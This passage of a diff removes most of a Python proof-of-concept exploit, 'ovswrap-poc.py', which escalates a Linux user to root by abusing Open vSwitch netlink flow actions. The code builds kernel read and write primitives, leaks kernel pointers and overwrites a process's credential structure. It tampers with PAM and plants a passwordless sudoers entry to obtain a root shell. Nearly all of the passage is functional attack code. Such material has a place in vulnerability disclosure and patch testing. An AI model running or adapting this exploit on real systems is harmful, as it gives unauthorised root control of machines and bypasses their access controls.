-            token = os.read(trigger_read, 1)
-            if token == b"1":
-                try_become_root_ids()
-                if os.environ.get("OVS_C004_REPAIR_PAM", "1") == "1":
-                    restore_pam_unix_from_backup()
-                if os.environ.get("OVS_C004_REPAIR_PAM_ONLY") == "1":
-                    ok = True
-                    used_path = PAM_UNIX_SO
-                else:
-                    ok, used_path = write_sudoers_entry(path, username)
-            ack = f"1 {used_path}\n".encode("ascii") if ok else b"0\n"
-            os.write(ack_write, ack)
-        except Exception:
-            try:
-                os.write(ack_write, b"0\n")
-            except OSError:
-                pass
-        finally:
-            for fd in (trigger_read, ack_write):
-                try:
-                    os.close(fd)
-                except OSError:
-                    pass
-        if ok:
-            sleep_forever_detached()
-        os._exit(0)
-    os.close(trigger_read)
-    os.close(ack_write)
-    print(f"host sudoers writer child pid={child}", flush=True)
-    return child, trigger_write, ack_read
-
-
-def fork_namespace_pin() -> None:
-    child = os.fork()
-    if child == 0:
-        sleep_forever_detached()
-    print(f"namespace pin child pid={child}", flush=True)
-
-
-def trigger_sudoers_writer(trigger_fd: int, ack_fd: int) -> str:
-    result = b""
-    try:
-        os.write(trigger_fd, b"1")
-        while True:
-            chunk = os.read(ack_fd, 4096)
-            if not chunk:
-                break
-            result += chunk
-    finally:
-        for fd in (trigger_fd, ack_fd):
-            try:
-                os.close(fd)
-            except OSError:
-                pass
-    if not result.startswith(b"1 "):
-        raise RuntimeError("sudoers writer child failed")
-    return result[2:].decode("ascii", errors="replace").strip()
-
-
-def main() -> None:
-    if len(sys.argv) > 1 and sys.argv[1] == "--child":
-        host_user = validate_child_namespace()
-        exploit_from_private_namespace(host_user)
-        return
-    if len(sys.argv) > 1:
-        raise RuntimeError("usage: python3 ovswrap-poc.py")
-
-    ensure_pahole_available()
-    step("CHECKING LAUNCHING USER")
-    host_uid, host_gid, host_user = launching_user()
-    print(
-        f"launching user: name={host_user} uid={host_uid} gid={host_gid}",
-        flush=True,
-    )
-    ensure_user_starts_without_passwordless_sudo(host_user)
-    prepare_system_map_host()
-    sudoers_path = f"/etc/sudoers.d/ovs_c004_{os.getpid()}"
-    writer_pid, writer_trigger_fd, writer_ack_fd = fork_sudoers_writer(
-        sudoers_path, host_user
-    )
-    run_child_in_private_namespace(
-        host_user,
-        writer_pid,
-        writer_trigger_fd,
-        writer_ack_fd,
-    )
-
-
-def exploit_from_private_namespace(host_user: str) -> None:
-    step("BEGINNING SETUP")
-    print(f"host user for sudoers entry: {host_user}", flush=True)
-    print(f"namespace uid/gid: uid={os.getuid()} gid={os.getgid()}", flush=True)
-    print(f"process identity: {run_text(['id'])}", flush=True)
-    print(f"effective capability mask: {process_status_line('CapEff:')}", flush=True)
-    print(f"uid_map: {uid_map_first_entry()[3]}", flush=True)
-
-    genl = GenericNetlink()
-    dp_family = genl.get_family("ovs_datapath")
-    flow_family = genl.get_family("ovs_flow")
-    dp_name = f"vhrd{os.getpid() % 10000}"
-    create_datapath(genl, dp_family, dp_name)
-    dp_ifindex = socket.if_nametoindex(dp_name)
-    print(f"datapath {dp_name} ifindex {dp_ifindex}", flush=True)
-
-    step("DERIVING KERNEL OFFSETS")
-    kernel_plans = tuple(build_kernel_parameter_plans())
-    kernel_record = next(
-        (plan.record for plan in kernel_plans if plan.record is not None),
-        None,
-    )
-    derive_ovs_uapi_constants(kernel_record)
-    offsets = kernel_plans[0].offsets
-    writer_pid, writer_trigger_fd, writer_ack_fd = inherited_sudoers_writer()
-    fork_namespace_pin()
-
-    step("BUILDING OVS ACTION PRIMITIVES")
-    fake_copy = struct.pack(NLA_HDR, 512, OVS_ACTION_ATTR_OUTPUT)
-    helper_leak_key = flow_key(1)
-    create_flow(
-        genl,
-        flow_family,
-        dp_ifindex,
-        helper_leak_key,
-        clone_with_helper_leak(fake_copy),
-    )
-    helper_leak_actions = get_flow_actions(genl, flow_family, dp_ifindex, helper_leak_key)
-    helper_pointer = find_helper_pointer(helper_leak_actions)
-    print(f"leaked helper-ish pointer 0x{helper_pointer:016x}", flush=True)
-
-    read_carrier = (
-        kernel_record.read_carrier if kernel_record is not None else CARRIER_AUTO
-    )
-    write_carrier = (
-        kernel_record.write_carrier if kernel_record is not None else CARRIER_AUTO
-    )
-    read_lanes = kernel_record.read_lanes if kernel_record is not None else ()
-    reader = OvsReadPrimitive(
-        genl,
-        flow_family,
-        dp_ifindex,
-        offsets,
-        read_carrier,
-        read_lanes,
-    )
-    writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
-
-    step("CHECKING BASELINE WRITE")
-    protected_path = f"/root/ovs_c004_lpe_proof_{os.getpid()}"
-    if try_write_root_proof(protected_path, "pre-exploit should not write\n"):
-        raise RuntimeError("unexpectedly wrote root proof path before exploit")
-
-    step("LOCATING WRITER CREDENTIAL")
-    task, offsets, kernel_base, module_ktype = resolve_writer_task_and_offsets(
-        reader,
-        kernel_plans,
-        helper_pointer,
-        writer_pid,
-    )
-    writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
-    print(f"module_ktype=0x{module_ktype:016x} kernel_base=0x{kernel_base:016x}", flush=True)
-    cred = read_kernel_pointer(reader, task + offsets.task_cred, "task->cred")
-    print(
-        f"writer task=0x{task:016x} pid={writer_pid} cred=0x{cred:016x}",
-        flush=True,
-    )
-
-    convert_writer_credential(reader, writer, offsets, cred)
-
-    step("WRITING SUDOERS ENTRY")
-    used_sudoers_path = trigger_sudoers_writer(writer_trigger_fd, writer_ack_fd)
-    print(
-        f"sudoers write succeeded: {used_sudoers_path} user={host_user}",
-        flush=True,
-    )
-    print(
-        "sudoers policy write achieved; returning to launcher for root shell",
-        flush=True,
-    )
-
-
-if __name__ == "__main__":
-    try:
-        main()
-    except RuntimeError as exc:
-        print(f"ERROR: {exc}", flush=True)
-        raise SystemExit(1)
-    except OSError as exc:
-        if exc.errno == errno.ENOMEM:
-            print(
-                "ERROR: Ran out of memory; reattempt the PoC after a reboot "
-                "or with more RAM (recommended 2GB+).",
-                flush=True,
-            )
-            raise SystemExit(1)
-        raise